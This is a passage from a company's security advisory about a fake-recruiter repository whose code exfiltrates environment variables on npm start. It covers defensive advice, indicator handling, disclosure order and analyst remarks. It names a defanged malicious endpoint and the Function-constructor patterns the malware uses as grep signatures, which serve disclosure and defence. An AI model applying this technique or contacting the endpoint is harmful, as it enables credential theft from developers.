2. Run a static screen and make it fail closed. Section 10.6 gives one. If your screen cannot run, it must say so and stop, not print empty sections. A blank report from a tool that never ran looks exactly like a clean report.
3. Do not rely on npm install --ignore-scripts. It is the most commonly repeated advice for this threat and it does not work here. This payload has no install hook: it fires on npm start.
4. If you are going to run it, run it in a disposable virtual machine with no credentials in the environment and no network access to your own estate. The exfiltration is {...process.env}; the defence is an environment that contains nothing. Do not use a container that inherits your host environment or mounts your home directory.
5. Never create a .env inside an untrusted repository on a machine that matters. If the application is broken and you are tempted to add configuration to make it start, stop. In this sample dotenv loads one require before the payload runs, so the credentials you add to fix the app are collected on the next attempt.
6. Egress-block by default from the machine you review on. A first-stage loader that cannot reach its endpoint collects nothing and executes nothing. This is the single control that would have neutralised this sample even if it had been run.
7. Grep for the execution primitive, not for eval. Function\s*\.\s*constructor and new Function('require' are the two expressions this family uses precisely because they are not eval. See Section 10.3.
8. Treat "no lockfile" as a finding, not a nuisance. No lockfile means no integrity hashes and no npm ci, so you cannot install a recorded tree, and nobody can reproduce what you installed.
9. Treat a single squashed commit in a repository you are asked to review as a finding. It removes the one thing that would show you when and how each line arrived.
10. Verify the opportunity through a channel the sender did not supply. Not the LinkedIn page they linked, not the website they linked, not the repository they linked. Find the company independently and ask through its own published contact route whether that person and that role exist. This is the one check the identity layering in Section 7 cannot defeat.
11. If you have already run something like this, treat the workstation as fully compromised. Rotate every credential that was in the environment or in any .env in the working directory, starting with registry and version-control tokens because they convert one laptop into a supply-chain foothold. Revoke sessions and OAuth grants, not just passwords. Then hunt for persistence in shell profiles, scheduled tasks, systemd units and globally installed npm packages, because stage two was never written to disk and left no file to find.

11.2 For hiring teams and for companies whose name may be borrowed

1. Do not ask candidates to run your code, and say so in writing. If your process genuinely needs a code exercise, host it where execution is yours (a hosted sandbox, a CI job you own) rather than asking a stranger to execute an artifact on their own machine. A published policy of "we will never ask you to clone and run anything" gives every candidate a bright line, and it makes an approach that breaks it visibly fake.
2. Publish how you recruit, on your own domain, at a stable URL. State which platforms you use, which email domains your recruiters send from, and that you never conduct hiring through any other channel. That page is what a candidate checks when they cannot verify the sender, and it costs nothing to maintain.
3. Publish a /.well-known/security.txt and make sure the address in it accepts mail. During this investigation we could not read the security contact of a company whose name appeared in the approach, because its site returned HTTP 503 to every retrieval. A researcher who cannot reach you cannot warn you.
4. Give candidates an out-of-band verification route and tell them to use it. A phone number or a form on your own domain, reachable without a login, is enough. Verification must not depend on a link the sender supplied.
5. Monitor for your own brand appearing next to recruiting language on platforms you do not control, and be prepared to publish a short notice. You may not be able to stop it, but a dated statement on your own domain is what a candidate finds when they search.
6. If your organisation reviews code from outsiders (candidates, vendors, partners), make an isolated review environment the default path, not a thing an engineer has to ask for. Section 11.1 items 4 and 6 are policy decisions, not individual discipline.
7. Understand what a compromised candidate costs you. A developer who runs one of these on the machine they use for work hands over the tokens in that machine's environment. If they contract for you, your registry and repository tokens may be in that environment.

Section 12Indicators of compromise

All indicators observed 2026-09-08 unless otherwise stated. Do not open any URL below in a browser. Defanged forms for prose: hxxps://ipcheck-hashed[.]vercel[.]app/api/auth/b4dadd6a26d820d08596 and gitlab[.]com/propfi-2026/mvp.

One indicator per row. The type column is what an ingester should key on. The confidence column takes exactly one value per indicator.

12.1 Network and endpoint

Not in this feed, deliberately: the hosting platform's shared anycast IP address. The platform's own documentation states that its addresses are anycast and "shared across all regions" (https://vercel.com/docs/domains/troubleshooting, retrieved 2026-09-08), and publishes 76.76.21.21 as the A-record value for customer domains, qualified as "or your domain card's value" (https://vercel.com/kb/guide/a-record-and-caa-with-vercel, retrieved 2026-09-08). Blocking it would hit every site the platform hosts, legitimate ones included, and it carries no attribution value whatever. We record it here in prose so a responder recognises it, and we keep it out of the machine-readable feed so no ingester can act on it.

12.2 Content and code signatures

12.3 Repository and delivery artifacts

12.4 File hashes of the preserved clone

Publish and check the LF values. The reporter's clone was taken on Windows with core.autocrlf=true, so every working-tree file is CRLF and its SHA-256 differs from the repository's canonical LF content. An advisory that published only the Windows hashes would fail to reproduce for every Linux and macOS reader. Both sets are given, LF first. The working tree was clean (git status --porcelain empty), so the difference is checkout normalisation and not local editing: each byte delta equals that file's line count exactly.

server/routes/auth.js is not itself malicious. It is the require carrier: :5 requires ../controllers/auth.controller, which is what detonates the payload from server/app.js:25.

Caveat on git identifiers. Blob and commit identifiers are SHA-1, which is collision-attackable. They are identity pointers within this repository, not integrity proofs. The SHA-256 values are of file content only and carry no timestamp or authorship.

12.5 What is deliberately not in this feed

• The website and the company page supplied during the approach are not indicators and are not listed. They were never touched by the code, they are not attacker infrastructure on any evidence we hold, and putting them in a machine-readable feed risks a downstream tool treating a third party as hostile. They are discussed in Section 7 as context, with explicit non-allegations, and that is the only place they appear.
• The hosting platform's shared anycast IP address is not listed, for the reason given in 12.1.
• Sibling hostnames reported by third parties are not listed as indicators of this case. Several ipcheck-* and similar serverless hosts appear in third-party writeups of the same kit family. They are naming-convention leads, not observations of ours, common operator control is not established, and a released subdomain can be reassigned to an innocent user. If you want them, take them from the cited sources in Section 10.5 with their own provenance attached.

Section 13Disclosure status and plan

13.1 Status at revision 1.0

Nothing has been reported to anyone yet. As of publication of this revision:

Revision 1.1 note. Revision 1.0 of this advisory was published while the repository was still up and unreported, and said so. That is no longer the case: the platform and hosting abuse reports at steps 2 and 3 were submitted on 2026-09-08 at 21:09Z, before this revision went live. The lure at gitlab.com/propfi-2026/mvp was still publicly retrievable at that moment, and we make no claim about whether it has been removed since. Section 13.2's point that removing the repository is the step that costs the operator something now describes a step we have taken.

This table will be updated in place, with a new revision number and a dated changelog entry, as each step is taken. We publish it in this state rather than implying reports exist that do not.

13.2 The ordering, and why it is not the intuitive one

Pull the repository before killing the endpoint. The intuitive order is to take down the malware host first. That is wrong here. Taking the endpoint down before the repository is removed leaves the lure in place pointing at a dead host: candidates still clone and run it, the repository stays up, and the operator redeploys to a new serverless subdomain in minutes. This family deliberately separates cheap, disposable delivery from the thing that persists, precisely so the delivery can be burned at no cost. Removing the repository is the step that actually costs the operator something, and it is also the only route by which the platform can identify and warn other people who cloned it.

Report the profile, not the company page. The approach arrived through a LinkedIn profile. A report about that profile and that message thread is a report about an account. It is not a report about the company page whose URL was circulated, and we have not asked LinkedIn to act against that page. Conflating the two risks an enforcement action against a third party we have made no finding about.

A scanner submission is not a free move, and we say so. A scanner submission causes that service's infrastructure to fetch the URL, which is an additional, differently-attributable hit on top of the two requests recorded in Section 4.5. We will not ask any third party to fetch the second stage on our behalf: we already hold one, and a further retrieval buys nothing while adding another party to the operator's logs.

Courtesy notices are sent because a party whose brand appears in an advisory should hear it from us first, not because we have found anything against them. Both notices, if sent, will be short, non-accusatory, will make no allegation, will offer the draft in advance, and will offer to publish any statement the recipient wishes to make. We will not hold publication for either.

13.3 Publication posture

We are not holding an embargo. There is no vendor with a patch to ship here: the artifact is a repository and an endpoint, and the people at risk are individual developers receiving the same approach today. As with LH-2026-001, we would rather publish a narrow claim we can defend line by line than hold indicators back from the people who need them. Every material revision will be recorded in Section 16 with a new last-updated date, and any correction will be published in full rather than quietly edited in.

Section 14Analyst comment

"Fourteen lines out of four thousand seven hundred and twenty-nine. Line seventy-one of a hundred-and-twenty-eight-line file, in a directory nobody opens first, in a repository that looks like the work of a small team. The only reason I saw it is that I read the source before I ran anything, and the only reason I read the source is that I had no intention of running a stranger's code."

"The line that ends the argument is (require). The author chose a compiler that runs in global scope, which strips module-loading capability by design, and then deliberately passed require back in as a named parameter. Nobody does that by accident, and there is no logging use for it. Everything else in the file is decoration around that one decision."

"The advice everyone repeats is npm install --ignore-scripts. It does not help here. There is no install hook. The payload fires on npm start, which is exactly what the README tells you to run. If your defence is a flag on the wrong command, you do not have a defence."

"Every check a careful candidate knows how to run came back green. A company page presenting an established company with the right founding year and the right headquarters. A website with a two-and-a-half-year-old registration, its own listing and its own whitepaper. Four different names in play, and each one checked out on its own, because you never hold all four in one frame. The check that works is the one nobody teaches: verify through a channel the sender did not give you."

"The endpoint had been in public advisories since April. It was in twenty-one of them. This was not clever new infrastructure, it was a burned address being pointed at somebody who had never had a reason to look it up. That is the gap worth closing: the indicator existed, and there was nothing in a developer's ordinary workflow that would ever have put it in front of them."

"I will not name the person whose LinkedIn account carried this. I cannot prove the account is the person, both of the leading explanations make them a victim, and the identifier rotates in minutes so publishing it protects nobody and follows them for years. It goes to the platforms that can act on it, not into a document engineered for search visibility."

"We proved what fourteen lines of code do, and we hold what the server sent back. Not who wrote them, not what that payload does once it runs, not who else got the message. I would rather publish a narrow claim I can defend line by line than a wide one that falls apart the first time a reporter checks it. That includes being plain about the one step in this analysis that went further than it was supposed to."

Daniel Wilson Kemp, Founder and Chief Executive Officer, Lifted Holdings LLC

Section 15About, credit and contact

The discovery, the analysis, the detection content and this advisory are the work of Daniel Wilson Kemp, Founder and Chief Executive Officer, Lifted Holdings LLC.

The reporter identified the backdoor by reading the source before running it. The repository was cloned read-only at 2026-09-08T13:49:05Z, and the payload was found by inspection of server/config/config.js and server/controllers/auth.controller.js. npm install was never run. npm start was never run. No file from the repository was ever executed. Two requests were sent to the endpoint itself; see Section 4.5. The base64 decoding in Section 4.1 was performed offline. Every finding in this advisory is derived from static reading of a preserved artifact and from third-party records retrieved from public sources, each of which is cited with its URL.

Lifted Holdings LLC is a payments and technology company based in Tennessee, operating across merchant payments and connected-device platforms.

The reporter is available to verify any indicator published here, and will supply the preserved read-only clone and its hashes to any platform, vendor or law-enforcement body that asks.

Section 16Revision history

TLP:CLEAR. This advisory may be redistributed without restriction. We ask only that Section 9, "What we did not find", and the scope limitation above travel with any excerpt.

Advisory LH-2026-004, revision 1.0, published 2026-09-08. Indicators observed 2026-09-08 unless stated otherwise. Confidence levels are stated per finding; where a statement is an inference rather than an observation it is labelled as such in the text, and observed and inferred assessments are kept in separate tables in Section 8. This advisory will be revised as further evidence is obtained, and every material revision will be recorded above with a new last-updated date.

GitLab, GitHub, Vercel, Microsoft, Outlook, LinkedIn, Google, Cloudflare, GoDaddy, npm, RealT and any other names appearing here are the trademarks of their respective owners. Reference to those names describes observed artifacts, queried public records, and abuse of legitimate services, and does not imply any wrongdoing by, or endorsement from, those parties.

Advisory LH-2026-004 · Revision 1.0 · Published 2026-09-08 · TLP:CLEAR · liftedholdings.com/security/advisories/2026-004-fake-recruiter-rce-lure
Copyright 2026 Lifted Holdings LLC. All timestamps UTC.